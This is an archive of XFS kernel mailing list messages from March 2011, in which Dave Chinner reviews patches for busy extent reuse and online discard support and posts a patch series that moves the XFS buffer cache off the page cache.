+ > + /* > + * No more busy extents to search. > + */ > + if (bbno <= fbno && bend >= fend) > + break; > + > + if (fbno < bbno) > + rbp = rbp->rb_left; > + else > + rbp = rbp->rb_right; and this code is never executed. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Mar 22 19:17:33 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_64 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2N0HRde057286 for ; Tue, 22 Mar 2011 19:17:33 -0500 X-ASG-Debug-ID: 1300839626-0eaa00ef0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail05.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id D56F014023C8 for ; Tue, 22 Mar 2011 17:20:26 -0700 (PDT) Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id hEXlEsByGn1cihgR for ; Tue, 22 Mar 2011 17:20:26 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Au8DAPrWiE15LK5JgWdsb2JhbAClQRUBARYmJcUhDYVbBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail05.adl6.internode.on.net with ESMTP; 23 Mar 2011 10:50:25 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q2BoG-0005rr-L4; Wed, 23 Mar 2011 11:20:24 +1100 Date: Wed, 23 Mar 2011 11:20:24 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 4/6] xfs: allow reusing busy extents where safe Subject: Re: [PATCH 4/6] xfs: allow reusing busy extents where safe Message-ID: <20110323002024.GF15270@dastard> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.837735220@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110322200137.837735220@bombadil.infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1300839627 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58685 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 22, 2011 at 03:55:54PM -0400, Christoph Hellwig wrote: > Allow reusing any busy extent for metadata allocations, and reusing busy > userdata extents for userdata allocations. Most of the complexity is > propagating the userdata information from the XFS_BMAPI_METADATA flag > to xfs_bunmapi into the low-level extent freeing routines. After that > we can just track what type of busy extent we have and treat it accordingly. > > Signed-off-by: Christoph Hellwig ..... > @@ -2717,7 +2723,7 @@ restart: > > overlap = xfs_alloc_busy_try_reuse(pag, busyp, > fbno, fbno + flen); > - if (overlap) { > + if (overlap == -1 || (overlap && userdata)) { > spin_unlock(&pag->pagb_lock); > xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); > goto restart; Ok, so the only time we'll do a log force now is on an complete overlap or a partial userdata overlap? > @@ -2754,6 +2760,7 @@ xfs_alloc_busy_trim( > > ASSERT(flen > 0); > > +restart: > spin_lock(&args->pag->pagb_lock); > rbp = args->pag->pagb_tree.rb_node; > while (rbp && flen >= args->minlen) { > @@ -2771,6 +2778,31 @@ xfs_alloc_busy_trim( > continue; > } > > + if (!args->userdata || > + (busyp->flags & XFS_ALLOC_BUSY_USERDATA)) { > + int overlap; > + > + overlap = xfs_alloc_busy_try_reuse(args->pag, busyp, > + fbno, fbno + flen); > + if (unlikely(overlap == -1)) { > + spin_unlock(&args->pag->pagb_lock); > + xfs_log_force(args->mp, XFS_LOG_SYNC); > + goto restart; > + } Hmmmm - I'm not so sure we can reuse overlapped data extents for data allocations without a log force at all as there is no guarantee that the data will not be overwritten before the original free transaction is on disk. That is, recovery may not replay the original data extent free transaction or the new allocation transaction, but there is nothing stopping us from having written the new data into the extent before the crash occurred, especially as delayed allocation places the allocation very close the data IO issue. e.g.: thread X thread Y free data extent ABC allocate data extent BCD partial overlap, no log force issue data IO ..... That leads to corruption of the data in the original file because neither transaction is written to disk, but new data is.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Mar 22 19:27:11 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2N0R5ew057602 for ; Tue, 22 Mar 2011 19:27:11 -0500 X-ASG-Debug-ID: 1300840204-067d03d00000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail05.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 16EF736BDB5 for ; Tue, 22 Mar 2011 17:30:05 -0700 (PDT) Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id wsAbiS4m6cEXJJiR for ; Tue, 22 Mar 2011 17:30:05 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsIDAH7aiE15LK5JgWdsb2JhbAClQRUBARYmJcUjDYVcBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail05.adl6.internode.on.net with ESMTP; 23 Mar 2011 11:00:04 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q2Bxb-0005sX-7A; Wed, 23 Mar 2011 11:30:03 +1100 Date: Wed, 23 Mar 2011 11:30:03 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: add online discard support Subject: Re: [PATCH 5/6] xfs: add online discard support Message-ID: <20110323003003.GG15270@dastard> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200138.024991786@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110322200138.024991786@bombadil.infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1300840206 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58685 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 22, 2011 at 03:55:55PM -0400, Christoph Hellwig wrote: > Now that we have reliably tracking of deleted extents in a transaction > we can easily implement "online" discard support which calls > blkdev_issue_discard once a transaction commits. > > The actual discard is a two stage operation as we first have to mark > the busy extent as not available for reuse before we can start the > actual discard. Note that we don't bother supporting discard for > the non-delaylog mode. While that would be possible with this patch > performance is awfull, and the optimization in the next patch won't > work as easily. > > Signed-off-by: Christoph Hellwig ..... > @@ -361,13 +362,17 @@ xlog_cil_committed( > int abort) > { > struct xfs_cil_ctx *ctx = args; > + struct xfs_mount *mp = ctx->cil->xc_log->l_mp; > struct xfs_busy_extent *busyp, *n; > > xfs_trans_committed_bulk(ctx->cil->xc_log->l_ailp, ctx->lv_chain, > ctx->start_lsn, abort); > > - list_for_each_entry_safe(busyp, n, &ctx->busy_extents, list) > - xfs_alloc_busy_clear(ctx->cil->xc_log->l_mp, busyp); > + list_for_each_entry_safe(busyp, n, &ctx->busy_extents, list) { > + if (!abort) > + xfs_discard_extent(mp, busyp); > + xfs_alloc_busy_clear(mp, busyp); > + } > > spin_lock(&ctx->cil->xc_cil_lock); > list_del(&ctx->committing); > Index: xfs/fs/xfs/linux-2.6/xfs_discard.c > =================================================================== > --- xfs.orig/fs/xfs/linux-2.6/xfs_discard.c 2011-03-21 14:47:03.614474345 +0100 > +++ xfs/fs/xfs/linux-2.6/xfs_discard.c 2011-03-21 14:51:41.449976366 +0100 > @@ -191,3 +191,38 @@ xfs_ioc_trim( > return -XFS_ERROR(EFAULT); > return 0; > } > + > +int > +xfs_discard_extent( > + struct xfs_mount *mp, > + struct xfs_busy_extent *busyp) > +{ > + struct xfs_perag *pag; > + int error = 0; > + xfs_daddr_t bno; > + int64_t len; > + bool done = false; > + > + if ((mp->m_flags & XFS_MOUNT_DISCARD) == 0) > + return 0; I'd move this check to the callers, otherwise we are going to be doing lots of function calls in a relatively performance sensitive loop just to run a single check when discard is not enabled... > + > + bno = XFS_AGB_TO_DADDR(mp, busyp->agno, busyp->bno); > + len = XFS_FSB_TO_BB(mp, busyp->length); > + > + pag = xfs_perag_get(mp, busyp->agno); > + spin_lock(&pag->pagb_lock); > + if (!busyp->length) > + done = true; > + busyp->flags = XFS_ALLOC_BUSY_DISCARDED; > + spin_unlock(&pag->pagb_lock); > + xfs_perag_put(pag); > + > + if (done) > + return 0; > + > + error = -blkdev_issue_discard(mp->m_ddev_targp->bt_bdev, bno, len, > + GFP_NOFS, 0); > + if (error && error != EOPNOTSUPP) > + xfs_info(mp, "discard failed, error %d", error); This would be more informative if it also printed the bno and len of the discard that failed. A couple of tracepoints here (e.g. discard_extent_issued, discard_extent_failed) could also be useful for tracking discard operations. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Mar 22 19:40:32 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2N0eRCn058108 for ; Tue, 22 Mar 2011 19:40:32 -0500 X-ASG-Debug-ID: 1300841005-624202d00000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail05.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1403C1DF2983 for ; Tue, 22 Mar 2011 17:43:25 -0700 (PDT) Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id m1F4Wz2W40DDJcvi for ; Tue, 22 Mar 2011 17:43:25 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsIDAA3eiE15LK5JgWdsb2JhbAClQRUBARYmJYhNvEUNhVwE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail05.adl6.internode.on.net with ESMTP; 23 Mar 2011 11:13:24 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q2CAV-0005tX-E0; Wed, 23 Mar 2011 11:43:23 +1100 Date: Wed, 23 Mar 2011 11:43:23 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 6/6] xfs: make discard operations asynchronous Subject: Re: [PATCH 6/6] xfs: make discard operations asynchronous Message-ID: <20110323004323.GH15270@dastard> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200138.216042448@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110322200138.216042448@bombadil.infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1300841007 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58685 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 22, 2011 at 03:55:56PM -0400, Christoph Hellwig wrote: > Instead of waiting for each discard request keep the CIL context alive > until all of them are done, at which point we can tear it down completly > and remove the busy extents from the rbtree. > > At this point I'm doing the I/O completion from IRQ context for simplicity, > but I'll benchmark it against a version that uses a workqueue. A workqueue is probably a good idea, because then the processing has some level of concurrency built into it. It also means we don't need to convert the locking to irq-safe variants and all the overhead that this introduces. > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/linux-2.6/xfs_discard.c > =================================================================== > --- xfs.orig/fs/xfs/linux-2.6/xfs_discard.c 2011-03-22 15:58:10.301855813 +0100 > +++ xfs/fs/xfs/linux-2.6/xfs_discard.c 2011-03-22 18:39:09.000000000 +0100 > @@ -30,6 +30,7 @@ > #include "xfs_inode.h" > #include "xfs_alloc.h" > #include "xfs_error.h" > +#include "xfs_log_priv.h" > #include "xfs_discard.h" > #include "xfs_trace.h" > > @@ -192,37 +193,119 @@ xfs_ioc_trim( > return 0; > } > > +void > +xfs_cil_discard_done( > + struct xfs_cil_ctx *ctx) > +{ > + if (atomic_dec_and_test(&ctx->discards)) { > + struct xfs_busy_extent *busyp, *n; > + > + list_for_each_entry_safe(busyp, n, &ctx->busy_extents, list) > + xfs_alloc_busy_clear(ctx->cil->xc_log->l_mp, busyp); > + kmem_free(ctx); > + } > +} > + > +STATIC void > +xfs_discard_end_io( > + struct bio *bio, > + int err) > +{ > + struct xfs_cil_ctx *ctx = bio->bi_private; > + > + if (err && err != -EOPNOTSUPP) { > + xfs_info(ctx->cil->xc_log->l_mp, > + "I/O error during discard\n"); > + } Same comment about the bno/len in the error message as the previous patch. > + > + bio_put(bio); > + xfs_cil_discard_done(ctx); > +} > + > +static int > +xfs_issue_discard( > + struct block_device *bdev, > + sector_t sector, > + sector_t nr_sects, > + gfp_t gfp_mask, > + struct xfs_cil_ctx *ctx) > +{ > + struct request_queue *q = bdev_get_queue(bdev); > + unsigned int max_discard_sectors; > + struct bio *bio; > + int ret = 0; > + > + if (!q) > + return -ENXIO; > + > + if (!blk_queue_discard(q)) > + return -EOPNOTSUPP; > + > + /* > + * Ensure that max_discard_sectors is of the proper > + * granularity > + */ > + max_discard_sectors = min(q->limits.max_discard_sectors, UINT_MAX >> 9); > + if (q->limits.discard_granularity) { > + unsigned int disc_sects = q->limits.discard_granularity >> 9; > + > + max_discard_sectors &= ~(disc_sects - 1); > + } This is asking for a helper function.... > + > + > + while (nr_sects && !ret) { no need to check ret here. > + bio = bio_alloc(gfp_mask, 1); > + if (!bio) { > + ret = -ENOMEM; > + break; > + } > + > + bio->bi_sector = sector; > + bio->bi_end_io = xfs_discard_end_io; > + bio->bi_bdev = bdev; > + bio->bi_private = ctx; > + > + if (nr_sects > max_discard_sectors) { > + bio->bi_size = max_discard_sectors << 9; > + nr_sects -= max_discard_sectors; > + sector += max_discard_sectors; > + } else { > + bio->bi_size = nr_sects << 9; > + nr_sects = 0; > + } > + > + atomic_inc(&ctx->discards); > + submit_bio(REQ_WRITE | REQ_DISCARD, bio); > + } > + > + return ret; > +} > + > int > xfs_discard_extent( > struct xfs_mount *mp, > - struct xfs_busy_extent *busyp) > + struct xfs_busy_extent *busyp, > + struct xfs_cil_ctx *ctx) > { > struct xfs_perag *pag; > - int error = 0; > xfs_daddr_t bno; > int64_t len; > bool done = false; > > - if ((mp->m_flags & XFS_MOUNT_DISCARD) == 0) > - return 0; > - > bno = XFS_AGB_TO_DADDR(mp, busyp->agno, busyp->bno); > len = XFS_FSB_TO_BB(mp, busyp->length); > > pag = xfs_perag_get(mp, busyp->agno); > - spin_lock(&pag->pagb_lock); > + spin_lock_irq(&pag->pagb_lock); > if (!busyp->length) > done = true; > busyp->flags = XFS_ALLOC_BUSY_DISCARDED; > - spin_unlock(&pag->pagb_lock); > + spin_unlock_irq(&pag->pagb_lock); Disabling/enabling interrupts on these locks could hurt quite a bit. They are travelled quite frequently, and irq operations add quite a bit of overhead.... > xfs_perag_put(pag); > > if (done) > return 0; > > - error = -blkdev_issue_discard(mp->m_ddev_targp->bt_bdev, bno, len, > - GFP_NOFS, 0); > - if (error && error != EOPNOTSUPP) > - xfs_info(mp, "discard failed, error %d", error); > - return error; > + return -xfs_issue_discard(mp->m_ddev_targp->bt_bdev, > + bno, len, GFP_NOFS, ctx); > } > Index: xfs/fs/xfs/linux-2.6/xfs_discard.h > =================================================================== > --- xfs.orig/fs/xfs/linux-2.6/xfs_discard.h 2011-03-22 15:58:10.313857879 +0100 > +++ xfs/fs/xfs/linux-2.6/xfs_discard.h 2011-03-22 18:39:09.000000000 +0100 > @@ -3,10 +3,13 @@ > > struct fstrim_range; > struct xfs_busy_extent; > +struct xfs_cil_ctx; > > extern int xfs_ioc_trim(struct xfs_mount *, struct fstrim_range __user *); > > extern int xfs_discard_extent(struct xfs_mount *, > - struct xfs_busy_extent *); > + struct xfs_busy_extent *, > + struct xfs_cil_ctx *); > +extern void xfs_cil_discard_done(struct xfs_cil_ctx *ctx); > > #endif /* XFS_DISCARD_H */ > Index: xfs/fs/xfs/xfs_log_cil.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_log_cil.c 2011-03-22 15:58:10.329855977 +0100 > +++ xfs/fs/xfs/xfs_log_cil.c 2011-03-22 18:39:09.000000000 +0100 > @@ -68,6 +68,7 @@ xlog_cil_init( > INIT_LIST_HEAD(&ctx->busy_extents); > ctx->sequence = 1; > ctx->cil = cil; > + atomic_set(&ctx->discards, 1); > cil->xc_ctx = ctx; > cil->xc_current_sequence = ctx->sequence; > > @@ -364,14 +365,18 @@ xlog_cil_committed( > struct xfs_cil_ctx *ctx = args; > struct xfs_mount *mp = ctx->cil->xc_log->l_mp; > struct xfs_busy_extent *busyp, *n; > + bool keep_alive = false; > > xfs_trans_committed_bulk(ctx->cil->xc_log->l_ailp, ctx->lv_chain, > ctx->start_lsn, abort); > > - list_for_each_entry_safe(busyp, n, &ctx->busy_extents, list) { > - if (!abort) > - xfs_discard_extent(mp, busyp); > - xfs_alloc_busy_clear(mp, busyp); > + if (!(mp->m_flags & XFS_MOUNT_DISCARD) || abort) { > + list_for_each_entry_safe(busyp, n, &ctx->busy_extents, list) > + xfs_alloc_busy_clear(mp, busyp); > + } else if (!list_empty(&ctx->busy_extents)) { > + list_for_each_entry(busyp, &ctx->busy_extents, list) > + xfs_discard_extent(mp, busyp, ctx); > + keep_alive = true; > } Oh, I see you've moved the XFS_MOUNT_DISCARD into the loop here... > > spin_lock(&ctx->cil->xc_cil_lock); > @@ -379,7 +384,10 @@ xlog_cil_committed( > spin_unlock(&ctx->cil->xc_cil_lock); > > xlog_cil_free_logvec(ctx->lv_chain); > - kmem_free(ctx); > + if (keep_alive) > + xfs_cil_discard_done(ctx); > + else > + kmem_free(ctx); You could probably just call xfs_cil_discard_done(ctx) here as the busy extent list will be empty in the !keep_alive case and so it will simply do the kmem_free(ctx) call there. Cheers, Dave. -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Wed Mar 23 01:12:40 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.8 required=5.0 tests=BAYES_00,LOCALPART_IN_SUBJECT autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2N6CZqB074511 for ; Wed, 23 Mar 2011 01:12:40 -0500 X-ASG-Debug-ID: 1300860933-355000940000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 6009013FA477 for ; Tue, 22 Mar 2011 23:15:34 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 7nVZ0yxQFx33VyxF for ; Tue, 22 Mar 2011 23:15:34 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AiEaAForiU15LK5JgWdsb2JhbACYS4wOZxUBARYmJcQUhWkE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 23 Mar 2011 16:44:18 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1Q2HKi-0006Rg-G5; Wed, 23 Mar 2011 17:14:16 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1Q2HL2-00042U-BC; Wed, 23 Mar 2011 17:14:36 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: aelder@sgi.com X-ASG-Orig-Subj: xfs: outstanding patches for 2.6.39 Subject: xfs: outstanding patches for 2.6.39 Date: Wed, 23 Mar 2011 17:14:24 +1100 Message-Id: <1300860870-15471-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1300860935 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.02 X-Barracuda-Spam-Status: No, SCORE=-1.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=LOCALPART_IN_SUBJECT, LOCALPART_IN_SUBJECT_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58707 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 LOCALPART_IN_SUBJECT Local part of To: address appears in Subject 1.00 LOCALPART_IN_SUBJECT_2 Local part of To: address appears in Subject X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Hi Alex, The followingis the remaing series of patches that I have ready for 2.6.39. Most of them are bug fixes, only the prealloc transaction change and the buffer cache changes are enhancements. The xfs_trans_read_buf() fixes a bug found due to vmap allocation failures, and the shrinker registration changes fix a problem reported via IRC by arekm. Of course, the major patch in this series is the conversion of the buffer cache to using kmalloc and get_free_page() directly rather than using the page cache. This has many benefits and I haven't found any regressions due to making that change yet. I understand if you think it too risky for .39 at this stage, so I'll defer to your judgement as to whether it is .40 material or not. I haven't pushed these into a git tree branch yet - I can do that if you want once I've got reviewed-by tags for them all. Cheers, Dave. From dave@fromorbit.com Wed Mar 23 01:12:45 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.6 required=5.0 tests=BAYES_00,J_CHICKENPOX_35, J_CHICKENPOX_43,J_CHICKENPOX_66 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2N6CeOK074521 for ; Wed, 23 Mar 2011 01:12:45 -0500 X-ASG-Debug-ID: 1300860933-355000940002-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0F67113FA515 for ; Tue, 22 Mar 2011 23:15:36 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id fGgdZmXvCacAIZ5K for ; Tue, 22 Mar 2011 23:15:36 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsIDAForiU15LK5JgWdsb2JhbAClQBUBARYmJcQUgn+CagQ Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 23 Mar 2011 16:44:28 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1Q2HKt-0006Rs-1m; Wed, 23 Mar 2011 17:14:27 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1Q2HLD-00042j-2J; Wed, 23 Mar 2011 17:14:47 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: aelder@sgi.com X-ASG-Orig-Subj: [PATCH 6/6] xfs: stop using the page cache to back the buffer cache Subject: [PATCH 6/6] xfs: stop using the page cache to back the buffer cache Date: Wed, 23 Mar 2011 17:14:30 +1100 Message-Id: <1300860870-15471-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 In-Reply-To: <1300860870-15471-1-git-send-email-david@fromorbit.com> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1300860939 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58707 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner Now that the buffer cache has it's own LRU, we do not need to use the page cache to provide persistent caching and reclaim infrastructure. Convert the buffer cache to use alloc_pages() instead of the page cache. This will remove all the overhead of page cache management from setup and teardown of the buffers, as well as needing to mark pages accessed as we find buffers in the buffer cache. By avoiding the page cache, we also remove the need to keep state in the page_private(page) field for persistant storage across buffer free/buffer rebuild and so all that code can be removed. This also fixes the long-standing problem of not having enough bits in the page_private field to track all the state needed for a 512 sector/64k page setup. It also removes the need for page locking during reads as the pages are unique to the buffer and nobody else will be attempting to access them. Finally, it removes the buftarg address space lock as a point of global contention on workloads that allocate and free buffers quickly such as when creating or removing large numbers of inodes in parallel. This remove the 16TB limit on filesystem size on 32 bit machines as the page index (32 bit) is no longer used for lookups of metadata buffers - the buffer cache is now solely indexed by disk address which is stored in a 64 bit field in the buffer. Signed-off-by: Dave Chinner --- fs/xfs/linux-2.6/xfs_buf.c | 337 ++++++++++---------------------------------- fs/xfs/linux-2.6/xfs_buf.h | 40 +----- 2 files changed, 81 insertions(+), 296 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c index fe51e09..19b0769 100644 --- a/fs/xfs/linux-2.6/xfs_buf.c +++ b/fs/xfs/linux-2.6/xfs_buf.c @@ -94,75 +94,6 @@ xfs_buf_vmap_len( } /* - * Page Region interfaces. - * - * For pages in filesystems where the blocksize is smaller than the - * pagesize, we use the page->private field (long) to hold a bitmap - * of uptodate regions within the page. - * - * Each such region is "bytes per page / bits per long" bytes long. - * - * NBPPR == number-of-bytes-per-page-region - * BTOPR == bytes-to-page-region (rounded up) - * BTOPRT == bytes-to-page-region-truncated (rounded down) - */ -#if (BITS_PER_LONG == 32) -#define PRSHIFT (PAGE_CACHE_SHIFT - 5) /* (32 == 1<<5) */ -#elif (BITS_PER_LONG == 64) -#define PRSHIFT (PAGE_CACHE_SHIFT - 6) /* (64 == 1<<6) */ -#else -#error BITS_PER_LONG must be 32 or 64 -#endif -#define NBPPR (PAGE_CACHE_SIZE/BITS_PER_LONG) -#define BTOPR(b) (((unsigned int)(b) + (NBPPR - 1)) >> PRSHIFT) -#define BTOPRT(b) (((unsigned int)(b) >> PRSHIFT)) - -STATIC unsigned long -page_region_mask( - size_t offset, - size_t length) -{ - unsigned long mask; - int first, final; - - first = BTOPR(offset); - final = BTOPRT(offset + length - 1); - first = min(first, final); - - mask = ~0UL; - mask <<= BITS_PER_LONG - (final - first); - mask >>= BITS_PER_LONG - (final); - - ASSERT(offset + length <= PAGE_CACHE_SIZE); - ASSERT((final - first) < BITS_PER_LONG && (final - first) >= 0); - - return mask; -} - 